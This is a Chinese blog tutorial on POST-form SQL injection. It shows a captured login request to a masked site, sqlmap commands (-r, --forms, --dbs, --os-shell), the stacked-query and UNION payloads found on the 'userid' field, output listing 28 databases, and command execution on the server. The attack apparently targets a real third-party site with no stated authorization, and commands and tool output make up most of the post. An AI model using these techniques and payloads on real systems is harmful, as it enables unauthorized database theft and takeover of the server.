WEB安全

浅谈sql注入中的Post注入

字号+ 作者:Sinyer 来源:转载 2016-11-25 10:17 我要评论( )

00x01 在许多交流群中,我看见很多朋友对于post注入很是迷茫,曾几何,我也是这样,因为我们都被复杂化了,想的太辅助了所以导致现在感觉到难,现在,就让我们一起......

00x01
在许多交流群中,我看见很多朋友对于post注入很是迷茫,曾几何,我也是这样,因为我们都被复杂化了,想的太辅助了所以导致现在感觉到难,现在,就让我们一起来谈谈,post注入是多么的轻松吧!
PS:文中有写os-shell

00x02
测试站点:http://xxx.xxxxx.com/
对于我来说,post注入无非有两种方法
第一种利用burp抓包然后使用sqlmap -r 来进行检测注入
第二种比较简单,直接使用sqlmap --forms 这个参数就可以了
00x03
第一种方法测试
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
使用burp大家都知道,需要jre环境来运行并且需要设置代理为127.0.0.1:8080
然后才能进行抓包


设置完成,然后我们开始抓取测试站点的post包,

如上图,成功抓取post包
####需注意!
确认intercept is on (不可抓包为yes)
这是我抓取到的post包

  1. POST /login.aspx HTTP/1.1
  2. Host: xxx.xxxxx.com
  3. User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:43.0) Gecko/20100101 Firefox/43.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. Referer: [url]http://xxx.xxxxx.com/[/url]
  8. Cookie: ASP.NET_SessionId=2rslbt55ykuuntjvqwawax45
  9. Connection: close
  10. Content-Type: application/x-www-form-urlencoded
  11. Content-Length: 106
  12.  
  13. __VIEWSTATE=%2FwEPDwUJLTMzMjAwMjk3ZGQRxhY3kgspLOxJLG8mggcuWQGyAA%3D%3D&userid=test&userpass=test&x=58&y=10
复制代码

可以得出,我提交的
userid=test
userpass=test
主要注入也是由这个表单而起
,那么我们把他放入一个txt文件中并放入sqlmap目录下

打开sqlmap,开始进行注入
命令:
  1. sqlmap.py -r post.txt
复制代码


下文为反馈信息

  1. sqlmap resumed the following injection point(s) from stored session:
  2. ---
  3. Parameter: userid (POST)
  4.     Type: stacked queries
  5.     Title: Microsoft SQL Server/Sybase stacked queries (comment)
  6.     Payload: __VIEWSTATE=/wEPDwUJLTMzMjAwMjk3D2QWAgIDD2QWAmYPDxYCHgdWaXNpYmxlZ2R
  7. kZDFpMk19BIW+zK120SCFeWgTxekL&userid=TKNS';WAITFOR DELAY '0:0:5'--&userpass=
  8.  
  9.     Type: UNION query
  10.     Title: Generic UNION query (NULL) - 11 columns
  11.     Payload: __VIEWSTATE=/wEPDwUJLTMzMjAwMjk3D2QWAgIDD2QWAmYPDxYCHgdWaXNpYmxlZ2R
  12. kZDFpMk19BIW+zK120SCFeWgTxekL&userid=TKNS' UNION ALL SELECT NULL,CHAR(113)+CHAR(
  13. 120)+CHAR(98)+CHAR(112)+CHAR(113)+CHAR(116)+CHAR(117)+CHAR(108)+CHAR(79)+CHAR(85
  14. )+CHAR(98)+CHAR(122)+CHAR(72)+CHAR(79)+CHAR(100)+CHAR(72)+CHAR(119)+CHAR(98)+CHA
  15. R(72)+CHAR(108)+CHAR(122)+CHAR(73)+CHAR(110)+CHAR(113)+CHAR(113)+CHAR(121)+CHAR(
  16. 84)+CHAR(79)+CHAR(97)+CHAR(99)+CHAR(100)+CHAR(112)+CHAR(106)+CHAR(112)+CHAR(118)
  17. +CHAR(112)+CHAR(97)+CHAR(81)+CHAR(84)+CHAR(72)+CHAR(70)+CHAR(115)+CHAR(104)+CHAR
  18. (99)+CHAR(82)+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(120)+CHAR(113),NULL,NULL,NULL,N
  19. ULL,NULL,NULL,NULL,NULL,NULL-- XbeJ&userpass=
  20. ---
  21. [17:57:07] [INFO] the back-end DBMS is Microsoft SQL Server
  22. web server operating system: Windows 2003 or XP
  23. web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
  24. back-end DBMS: Microsoft SQL Server 2008
复制代码

可以得出,他是mssql 08 的数据库,xp03的服务器,iis为6.0 asp脚本
我们可以深入一下,例如先查看他的表
命令
  1. sqlmap.py -r post --dbs
复制代码


  1. available databases [28]:
  2. [*] AppDB
  3. [*] AutoTele_V1
  4. [*] CopyDB
  5. [*] FDBS8
  6. [*] FXDBMS
  7. [*] HYITS
  8. [*] JA_YCDB
  9. [*] JASWUNHYDCOM
  10. [*] JaswWebUserInfo
  11. [*] master
  12. [*] model
  13. [*] msdb
  14. [*] OldRwdb
  15. [*] RealDB
  16. [*] ReportServer
  17. [*] ReportServerTempDB
  18. [*] RWDB
  19. [*] RWISDB
  20. [*] ShiHuTangDb
  21. [*] SKFW
  22. [*] SMSDB
  23. [*] SQDW
  24. [*] T1
  25. [*] tempdb
  26. [*] TESTDB
  27. [*] XiaJiangShuNiu
  28. [*] ycreal
  29. [*] ZF
复制代码

有28个表,当然,我们还可以继续深入,不过那与题目不一样了
00x04
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
第二种方法测试
首先我们直接打开sqlmap,输入指令
命令:
  1. sqlmap.py -u "url" --forms
复制代码

forms参数会自动抓取post包,从而进行注入
如下文为forms抓取的post包

  1. [#1] form:
  2. POST [url]http://xxx.xxxxx.com:80/login.aspx[/url]
  3. POST data: __VIEWSTATE=%2FwEPDwUJLTMzMjAwMjk3ZGQRxhY3kgspLOxJLG8mggcuWQGyAA%3D%3
  4. D&userid=&userpass=
  5. do you want to test this form? [Y/n/q]
  6. >
  7. Edit POST data [default: __VIEWSTATE=%2FwEPDwUJLTMzMjAwMjk3ZGQRxhY3kgspLOxJLG8mg
  8. gcuWQGyAA%3D%3D&userid=&userpass=] (Warning: blank fields detected):
  9. do you want to fill blank fields with random values? [Y/n]
  10. [18:02:56] [INFO] resuming back-end DBMS 'microsoft sql server'
  11. [18:02:56] [INFO] using 'C:\Documents and Settings\Administrator\.sqlmap\output\
  12. results-07012016_0602pm.csv' as the CSV results file in multiple targets mode
  13. sqlmap resumed the following injection point(s) from stored session:
  14. ---
  15. Parameter: userid (POST)
  16.     Type: stacked queries
  17.     Title: Microsoft SQL Server/Sybase stacked queries (comment)
  18.     Payload: __VIEWSTATE=/wEPDwUJLTMzMjAwMjk3D2QWAgIDD2QWAmYPDxYCHgdWaXNpYmxlZ2R
  19. kZDFpMk19BIW+zK120SCFeWgTxekL&userid=TKNS';WAITFOR DELAY '0:0:5'--&userpass=
  20.  
  21.     Type: UNION query
  22.     Title: Generic UNION query (NULL) - 11 columns
  23.     Payload: __VIEWSTATE=/wEPDwUJLTMzMjAwMjk3D2QWAgIDD2QWAmYPDxYCHgdWaXNpYmxlZ2R
  24. kZDFpMk19BIW+zK120SCFeWgTxekL&userid=TKNS' UNION ALL SELECT NULL,CHAR(113)+CHAR(
  25. 120)+CHAR(98)+CHAR(112)+CHAR(113)+CHAR(116)+CHAR(117)+CHAR(108)+CHAR(79)+CHAR(85
  26. )+CHAR(98)+CHAR(122)+CHAR(72)+CHAR(79)+CHAR(100)+CHAR(72)+CHAR(119)+CHAR(98)+CHA
  27. R(72)+CHAR(108)+CHAR(122)+CHAR(73)+CHAR(110)+CHAR(113)+CHAR(113)+CHAR(121)+CHAR(
  28. 84)+CHAR(79)+CHAR(97)+CHAR(99)+CHAR(100)+CHAR(112)+CHAR(106)+CHAR(112)+CHAR(118)
  29. +CHAR(112)+CHAR(97)+CHAR(81)+CHAR(84)+CHAR(72)+CHAR(70)+CHAR(115)+CHAR(104)+CHAR
  30. (99)+CHAR(82)+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(120)+CHAR(113),NULL,NULL,NULL,N
  31. ULL,NULL,NULL,NULL,NULL,NULL-- XbeJ&userpass=
  32. ---
  33. do you want to exploit this SQL injection? [Y/n]
  34. [18:02:59] [INFO] the back-end DBMS is Microsoft SQL Server
  35. web server operating system: Windows 2003 or XP
  36. web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
  37. back-end DBMS: Microsoft SQL Server 2008
复制代码


是不是发现这个post包跟burp抓取的一样呢?
我们来深入一下
使用命令

  1. sqlmap.py -u "url" --forms --os-shell
复制代码


惊奇的发现,注入点可以进行命令执行
权限:nt authority\network service
由于太卡就没有深入了,本人还是那句话,小白一枚,勿喷


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Web/275.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • 移位溢注:告别依靠人品的偏移注入

    移位溢注:告别依靠人品的偏移注入

    2017-03-09 14:12

  • ZABBIX SQL注入

    ZABBIX SQL注入

    2016-12-24 14:47

  • mysql注入点的另类利用

    mysql注入点的另类利用

    2016-11-25 09:54

  • mysql精讲注入权限及防注入

    mysql精讲注入权限及防注入

    2016-11-25 09:51

网友点评
暂时未开启评论功能~